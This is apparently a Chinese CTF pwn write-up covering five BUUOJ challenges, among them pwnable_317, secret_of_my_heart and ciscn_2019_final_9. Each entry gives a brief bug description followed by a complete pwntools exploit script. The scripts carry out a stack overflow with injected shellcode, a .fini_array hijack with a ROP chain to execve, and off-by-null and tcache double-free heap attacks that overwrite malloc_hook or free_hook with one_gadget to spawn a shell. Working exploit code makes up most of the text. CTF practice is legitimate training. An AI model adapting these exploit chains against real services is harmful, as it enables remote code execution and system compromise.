271 espcially_tu_2016
就是一个栈溢出。
但是这个题最麻烦的是他scanf之后居然缓冲区里面有一个回车,导致我们gets的时候失败了,所以我们就gets了两次。
然后做了个小实验。
setvbuf
exp
from pwn import *
context(os='linux', arch='i386',log_level='debug')
r = remote("node4.buuoj.cn",27739)
#r = process("./271")
elf = ELF("./271")
libc = ELF("./32/libc-2.23.so")
gets_plt = elf.plt['gets']
bss_addr = 0x804a060
payload = 'a' * 36 + 'a' * 8 + p32(gets_plt) + p32(gets_plt) + p32(bss_addr) + p32(bss_addr)
r.sendlineafter("What's your name?\n", payload)
r.sendlineafter("What's your favorite number?\n", "1")
r.sendline(asm(shellcraft.sh()))
r.interactive()
272 pwnable_317
会发现RELRO是半开的,但是其实因为这道题是静态链接,所以我们还是可以劫持.fini_array。
开始读程序。
我们可以任意地址写,但是长度只有0x18个字节,并不足以进行利用。
所以我们考虑劫持fini_array进行多次任意写。
然后制造rop。
但是我们要注意,这个程序的fini_array数组有两个。
所以只能跑两个函数。
exp
from pwn import*
r = remote("node4.buuoj.cn", 29087)
context.log_level = "debug"
fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
esp = fini_array + 0x10
leave_ret = 0x401C4B
ret = 0x401016
rop_syscall = 0x471db5
rop_pop_rax = 0x41e4af
rop_pop_rdx = 0x446e35
rop_pop_rsi = 0x406c30
rop_pop_rdi = 0x401696
bin_sh_addr = 0x4B419A
def write(addr,data):
r.recv()
r.send(str(addr))
r.recv()
r.send(data)
write(fini_array,p64(libc_csu_fini) + p64(main_addr))
write(bin_sh_addr,"/bin/sh\x00")
write(esp,p64(rop_pop_rax))
write(esp+8,p64(0x3b))
write(esp+16,p64(rop_pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(rop_pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(rop_pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(rop_syscall))
write(fini_array,p64(leave_ret) + p64(ret))
r.interactive()
273 pwnable_secret_of_my_heart
初始化
随机开了一块空间。
add
在读入的时候会有一个off by null
delete
剩下的函数都没啥问题。
所以说白了就是一道off by null。
exp
#!usr/bin/python
from pwn import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 29361)
elf = ELF("./273")
libc = ELF("./64/libc-2.23.so")
def add(size, sec):
r.sendlineafter("Your choice :", str(1))
r.sendlineafter(" : ", str(size))
r.sendafter(" :", "a"*0x20)
r.sendafter(" :", sec)
def show(idx):
r.sendlineafter("Your choice :", str(2))
r.sendlineafter("Index :", str(idx))
def delete(idx):
r.sendlineafter("Your choice :", str(3))
r.sendlineafter("Index :", str(idx))
add(0x20, "a" * 0x20)
show(0)
r.recvuntil("a"*0x20)
heap = u64(r.recv(6).ljust(8, '\x00')) - 0x10
add(0x100, "a" * 0xF0+p64(0x100))
add(0x100, "a" * 0x20)
delete(1)
delete(0)
payload = "/bin/sh\x00"
payload = payload.rjust(0x28, "\x00")
add(0x28, payload)
# delete(2)
add(0x80, "c" * 0x80)
add(0x40, "c" * 0x40)
delete(1)
delete(2)
add(0x80, "d")
add(0x100, "d"*0x68 + p64(0x70))
add(0x80, "d")
delete(2)
show(3)
r.recvuntil("Secret : ")
libc_base = u64(r.recv(6).ljust(8, '\x00'))-88-0x10-libc.symbols['__malloc_hook']# -0x3C4B78
malloc_addr = libc_base + libc.sym['__malloc_hook']
sys_addr = libc_base + libc.sym['system']
one_gadget = libc_base + 0xf02a4
delete(1)
add(0x100, "e"*0x80+p64(0)+p64(0x71))
delete(3)
delete(1)
add(0x100, "f"*0x80+p64(0)+p64(0x71)+p64(malloc_addr-0x23))
add(0x60, "f")
add(0x60, "\x00"*0x13+p64(one_gadget))
delete(3)
r.interactive()
274 bjdctf_2020_dizzy
判断输入的字节是否等于v8,等于的话v8下移一个地址判断继续判断
最后如果v8指向的值不为0,就exit,否则system(command),其实还是拼凑命令。
exp
from pwn import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 29056)
flag="PvvN| 1S S0 GREAT! & sh "
for i in range(6):
a= i * 4
r.sendline(str(u32(flag[a:a+4])-114514))
for i in range(14):
r.sendline('174')
r.interactive()
275 ciscn_2019_final_9
add
chunk大小不能大于0xf8
safe_read一点也不safe
有个off by null。
free
没啥问题。
puts
puts也没啥问题。
所以说半天就是一个off by null。
但是问题是首先我们无法通过常规的off by null做一个overlap。主要是因为我们无法去获得地址,无论是tcache的地址还是bss地址。
那么我们平常说的off by null的overlap也好,unlink也好,用不了了。咋整?
首先我们通过unsorted bin的合并在chunk2的pre_size上写了个0x200.
然后通过off by null。
然后就又一样了。
exp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"
#r = process("./275")
r = remote("node4.buuoj.cn", 25194)
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc.so.6")
def add(size, content):
r.sendlineafter("command?\n> ", "1")
r.sendlineafter("size \n> ", str(size))
r.sendlineafter("content \n> ", content)
def delete(index):
r.sendlineafter("command?\n> ", "2")
r.sendlineafter("index \n> ", str(index))
def show(index):
r.sendlineafter("command?\n> ", "3")
r.sendlineafter("index \n> ", str(index))
add(0xF0,'a'*0xF0) #0
add(0xF0,'b'*0xF0) #1
add(0xF0,'c'*0xF0) #2
#3~9
for i in range(7):
add(0xF0,'d'*0xF0)
for i in range(3,10):
delete(i)
delete(0)
delete(1)
#2放入unsorted bin,与前面合并,但是prev_size不会清空
delete(2)
#0~6
for i in range(7):
add(0xF0,'d'*0xF0)
add(0xF0,'a'*0xF0) #7
add(0xF0,'b'*0xF0) #8
add(0xF0,'c'*0xF0) #9
#填充tcache bin
for i in range(7):
delete(i)
#7放入unsorted bin
delete(7)
#0~6
for i in range(7):
add(0xF0,'d'*0xF0)
delete(8)
add(0xF8,'off by null') #7
for i in range(7):
delete(i)
delete(9)
#0~6
for i in range(7):
add(0xF0,'d'*0xF0)
add(0xF0,'a') #8
show(7)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f322
print "libc_base = " + hex(libc_base)
add(0xF0,'b') #9与7重合
delete(0)
delete(1)
#double free
delete(7)
delete(9)
add(0xF0,p64(free_hook)) #0
add(0xF0,'/bin/sh') #1
add(0xF0,p64(one_gadget))
#getshell
delete(1)
r.interactive()